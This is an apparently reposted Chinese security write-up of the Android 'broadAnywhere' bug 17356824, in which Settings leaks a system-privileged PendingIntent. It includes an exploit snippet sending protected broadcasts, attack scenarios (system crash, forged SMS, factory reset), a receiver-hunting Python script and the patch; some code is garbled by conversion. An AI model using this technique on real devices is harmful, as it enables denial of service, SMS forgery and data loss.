• broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)


    原创内容,转载请注明出处 http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html



    Lolipop源代码已经放出有些日子了。我发现google在5.0上修复了一个高危漏洞,利用该漏洞能够发送随意广播:不仅能够发送系统保护级别的广播、还能够无视receiver的android:exported=false、android:permisson=XXX 属性的限制。简直就是LaunchAnywhere[1] 漏洞的broadcast版本号,所以就称它是broadAnywhere吧。这个漏洞在5.0下面的系统上通杀,影响还是非常大的。

     

    一、先看补丁


    通过补丁[2]能够看到漏洞发生在src/com/android/settings/accounts/AddAccountSettings.java 的 addAccount 函数中。

    这回这个漏洞出如今Settings加入账户的时候。

    使用AccountManager加入账户的流程例如以下图:


    关于AccountManagerService的流程机制请參考LaunchAnywhere漏洞的分析[1],本篇就不赘述了。

    二、怎样利用

    本次的漏洞就发生在流程图的Step1之前, Setting调用了AccountManager.addAccount。

    在传递的AddAccountOptions參数时加入了一个PendingIntent。其intent类型是Broadcast。

    注意这个PendingIntent是Settings创建的,拥有system权限。

    1
    2
    3
    4
    5
    6
    private void addAccount(String accountType) {
        Bundle addAccountOptions = new Bundle();
        mPendingIntent = PendingIntent.getBroadcast(this0new Intent(), 0);
        addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
        addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
        AccountManager.get(this).addAccount(

    AppB会在step3的时候取到了AddAccountOptions參数。从中获得了这个PendingIntent。而且能够利用它以system的身份发送广播。演示样例代码例如以下:

    1
    2
    3
    4
    5
    6
    7
    8
    PendingIntent pending_intent = (PendingIntent)options.get("pendingIntent");
    intent.setAction("android.intent.action.BOOT_COMPLETED");
     
    try {
             pending_intent.send(getGlobalApplicationContext(),0,intent,null,null,null);
    catch (CanceledException e) {
             e.printStackTrace();
    }

    以System身份能够发送系统级的广播protected-broadcast,同一时候还能够将广播发送给未导出的receiver(android:exported=false)和有权限限制的receiver。

    三、原理分析

    回过头再看一下Settings是怎样创建PendingIntent的:

    1
    mPendingIntent = PendingIntent.getBroadcast(this0new Intent(), 0);

    Settings本身是一个高权限进程,它将自己的PendingIntent传给不可信的第三方程序是不安全的。

     

    因为Settings初始化PendingIntent的时候传入的是一个没有内容的new Intent(),所以攻击者在调用PendingIntent.send( )的时候能够随意设置Intent中的大部分内容。这是因为在系统源代码中PendingIntentRecord.sendInner 调用了finalIntent.fillIn(intent, key.flags);,同意调用者填充Intent的值。

     

    PendingIntentRecord.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    196    int sendInner(int code, Intent intent, String resolvedType,
    197            IIntentReceiver finishedReceiver, String requiredPermission,
    198            IBinder resultTo, String resultWho, int requestCode,
    199            int flagsMask, int flagsValues, Bundle options) {
    200        synchronized(owner) {
    201            if (!canceled) {
    202                sent = true;
    203                if ((key.flags&PendingIntent.FLAG_ONE_SHOT) != 0) {
    204                    owner.cancelIntentSenderLocked(thistrue);
    205                    canceled = true;
    206                }
    207                Intent finalIntent = key.requestIntent != null
    208                        ?

     new Intent(key.requestIntent) : new Intent();

    209                if (intent != null) {
    210                    int changes = finalIntent.fillIn(intent, key.flags);

    四、漏洞危害和应用场景

    这个漏洞在安卓5.0下面通杀,能够觉得该漏洞影响眼下99.9%的安卓手机。

     

    利用这个漏洞能够攻击绝大多数broadcast receiver。

    因为Intent.fillIn这个函数要求component必须显式填充[3]。我们不能发送指定component的intent的。

    可是能够通过指定intent的action已经能够攻击大多数receiver了。

     

    所以这个漏洞也是有非常大利用空间的。下面举几个样例

     

    1.       发送android.intent.action.BOOT_COMPLETED广播,这是一个系统保护的广播action。发送这个广播将导致system_server直接崩溃,造成本地DoS攻击。

    2.       4.4上发送android.provider.Telephony.SMS_DELIVER能够伪造接收短信。

    3.       发送com.google.android.c2dm.intent.RECEIVE广播,设备将恢复至出厂设置。

     

    上述提到的几种利用方法已经开源:

    https://github.com/retme7/broadAnyWhere_poc_by_retme_bug_17356824


    伪造短信演示视频:


    对于厂商定制固件来说,还可能有很多其它的利用方法。通过搜索系统应用的receiver。能够找到很多其它可攻击的receiver,搜索方法能够參考下面代码(python):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    def get_receiver(self):
     
            xmltag = self.manifest.getElementsByTagName('protected-broadcast')
            if len(xmltag) != 0:   
                      
                    logByThread( self.__apk_obj.get_filename())
                    logByThread( 'protected-broadcast')
                    for in xmltag:
                            logByThread(  x.getAttribute("android:name"))
             
            xmltag = self.manifest.getElementsByTagName('receiver')
            if len(xmltag) != 0:
                    logByThread( self.__apk_obj.get_filename())
                    logByThread( 'reciever-with-permission')
                    for in xmltag:
                            if x.hasAttribute("android:permission"or (x.hasAttribute("android:exported"andx.getAttribute("android:exported").find("false")!=-1):
                                    if len(x.getElementsByTagName("intent-filter")) !=0:
                                            logByThread( x.toxml())
            return

    五、漏洞修复

    通过凝视知道这个PendingIntent是用来告诉第三方应用,发起addAccount的应用是Settings。

    这里事实上这不是必需用PendingIntent。只是出于历史原因,这个接口还得继续支持下去。

    所以这个漏洞的修复就仅仅是简单地将PendingIntent所关联的Intent中的component、action、action中初始化了一个无意义的值。这样一来AppB也就不能够借助Intent.fillin()对intent的值进行二次填充了。

    1
    2
    3
    +        identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
    +        identityIntent.setAction(SHOULD_NOT_RESOLVE);
    +        identityIntent.addCategory(SHOULD_NOT_RESOLVE);

    六 安全建议

    开发人员:

        尽量不要使用receiver来作为敏感功能的调用接口,即便这个receiver是未导出、有权限控制的。

    手机厂商:

        尽快将固件升级到Android Lolipop。或者參照链接[2]推送安全更新补丁。

     

    [1] http://retme.net/index.php/2014/08/20/launchAnyWhere.html

    [2] https://android.googlesource.com/platform/packages/apps/Settings/+/37b58a4%5E%21/#F0

    [3] http://androidxref.com/4.4.4_r1/xref/frameworks/base/core/java/android/content/Intent.java#6516

  • 相关阅读:
    安裝Node.js
    es match、match_phrase、query_string和term的区别
    ES系列十、ES常用查询API
    ElasticSearch 入门总结
    起立,老师好
    像哆啦A梦懂大雄一样懂客户,我们也会拥有百宝箱
    阿里云居然在偷偷发福利!
    别人家的公司又来了,这次竟然开起了演唱会
    听说国家博物馆收藏了一行代码 ???
    我还是那个我,为啥就被老板区别对待了呢?
  • 原文地址:https://www.cnblogs.com/gcczhongduan/p/4755604.html
Copyright © 2020-2023  润新知